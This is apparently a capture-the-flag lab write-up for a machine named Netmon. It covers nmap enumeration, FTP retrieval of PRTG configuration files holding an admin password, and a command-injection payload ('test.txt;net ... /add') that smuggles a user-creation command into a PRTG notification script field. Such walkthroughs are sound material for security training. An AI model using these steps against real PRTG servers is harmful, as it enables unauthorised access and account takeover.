# Netmon

## Enumeration

The initial nmap scan shows many open ports that indicate a Windows DC:

`sudo nmap -p- -sV <IP>`

```
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          Microsoft ftpd
80/tcp    open  http         Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
```

I found this webpage http\://\<TARGETIP>/index.htm where PTRG can be read as service name. It is a login form. During research about that service a vulnerability stands out, which should work for the exact version of the service that is running on the machine:

<https://www.reddit.com/r/sysadmin/comments/835dai/prtg_exposes_domain_accounts_and_passwords_in/>

This reddit post contains all information needed to exploit the exposed ftp share.

```
ftp 10.10.10.152

ls /ProgramData/Paessler/PRTG Network Monitor/

get "PRTG Configuration.dat"
get "PRTG Configuration.old.bak"
```

The old config contains the user prtgadmin with the password PrTg\@dmin2018

The config is huge, but searching for "password" in kate the password was found quickly.

The new backup was last edited in 2019, so I tried PrTg\@dmin2019 which worked as password for the login form.

I tried this payload: `windows/http/prtg_authenticated_rce` but it didn't work.

## PRTG Command Injection

I found out that theres a vulnerability that you can inject scripts into the Execute Script parameters of "Notifications" in the PRTG Admin Center.

```
test.txt;net soosuser soos /add
```

From there I could make the new user an admin and log onto the machine with that user. I also found an ssh key for the existing admin user.

```
-----BEGIN CERTIFICATE-----
MIICdjCCAd+gAwIBAgIBADANBgkqhkiG9w0BAQQFADA3MQswCQYDVQQGEwJOQTEM
<SNIP>
vgpGR4Wd9aPvgw==
-----END CERTIFICATE-----
```
